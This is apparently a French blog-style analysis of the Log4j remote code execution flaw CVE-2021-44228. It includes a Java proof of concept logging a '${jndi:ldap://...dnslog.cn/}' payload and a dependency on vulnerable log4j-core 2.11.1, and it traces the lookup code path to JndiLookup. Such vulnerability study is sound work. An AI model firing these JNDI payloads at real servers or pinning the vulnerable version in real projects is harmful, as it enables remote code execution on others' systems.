
Analyse détaillée et preuve de concept pour CVE-2021-44228 (Log4j RCE), incluant la configuration de l'environnement, l'analyse de la vulnérabilité, le mécanisme d'injection JNDI et les étapes de reproduction.
Jdk7u21 (n'importe quelle version convient)
Versions affectées : Apache Log4j 2.x <= 2.14.1
Applications et composants connus pour être affectés :
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
Coordonnées log4j
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
En voyant le payload, on ne peut que chercher « log4j lookup » ou « log4j jndi »
https://logging.apache.org/log4j/2.x/manual/lookups.html [Documentation en anglais]
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html [Documentation en chinois]

Nous pouvons voir comment l'utiliser ; il n'est pas difficile de remarquer que jndi est pris en charge ici, et que jndi supporte lui-même d'autres protocoles et effectue des conversions — on pense immédiatement à ldap. Déboguons pour voir. Comme j'ai débogué en pleine nuit hier jusqu'à 5 h 30 et que j'avais cours le matin, je suis allé dormir en ne gardant que des captures d'écran du processus d'analyse.

Cessons les bavardages, regardons la suite ; comme j'ai débogué plusieurs fois hier soir, je vais directement au point clé.

Allons directement au point clé : org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

Suivons cette méthode ; dans Java natif, cette méthode sert à formater les chaînes, je ne sais pas si c'est le cas ici.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

Ici, notre payload est récupéré via getMessage(). Pourquoi ?


Je ne vais pas m'attarder davantage ici ; continuons.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
On voit qu'ici il vérifie si la chaîne commence par ${ ; si c'est le cas, elle est exécutée, ce qui déclenche le point de vulnérabilité.



La documentation de cette méthode est disponible ici : https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





En fait, consulter la documentation suffit presque ; ici, on obtient le résolveur de variables.



On entre ensuite dans org.apache.logging.log4j.core.lookup.Interpolator#lookup

Il récupère le préfixe correspondant et sélectionne l'objet de classe jndi correspondant — JndiLookup.


Cela permet d'effectuer une injection jndi et d'atteindre l'objectif de chargement de classes à distance.


En consultant la documentation officielle, on voit qu'il s'agit en réalité, via le formatage, de remplacer ${jndi:ldap://uci5xf.dnslog.cn/test} par des données réelles.

Article de référence : https://blog.csdn.net/lqzkcx3/article/details/82050375